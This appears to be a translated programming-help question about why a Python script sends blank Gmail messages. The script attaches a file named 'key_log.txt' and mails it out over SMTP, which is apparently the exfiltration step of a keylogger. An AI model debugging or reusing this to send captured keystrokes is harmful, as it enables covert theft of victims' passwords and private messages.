当我通过python向我的GMail帐户发送电子邮件时,该电子邮件已发送,但完全空白,即没有数据。这是我使用的代码:
email_user = 'user@gmail.com'
email_password = '********'
email_send = 'send@gmail.com'
subject = 'This is keyloggings '
msg = MIMEMultipart()
msg['From'] = email_user
msg['To'] = email_send
msg['Subject'] = subject
body = 'This is keyloggings'
msg.attach(MIMEText(body,'plain'))
filename = 'key_log.txt'
attachment = open(filename,'rb')
part = MIMEBase('application','octet-stream')
part.set_payload((attachment).read())
encoders.encode_base64(part)
part.add_header('Content-Disposition',"attachment;filename= %s" %filename)
msg.attach(part)
server = smtplib.SMTP('smtp.gmail.com',587)
server.ehlo()
server.starttls()
server.ehlo()
server.login(email_user,email_password)
text = msg.as_string()
server.sendmail(email_user,email_send,text)
server.quit()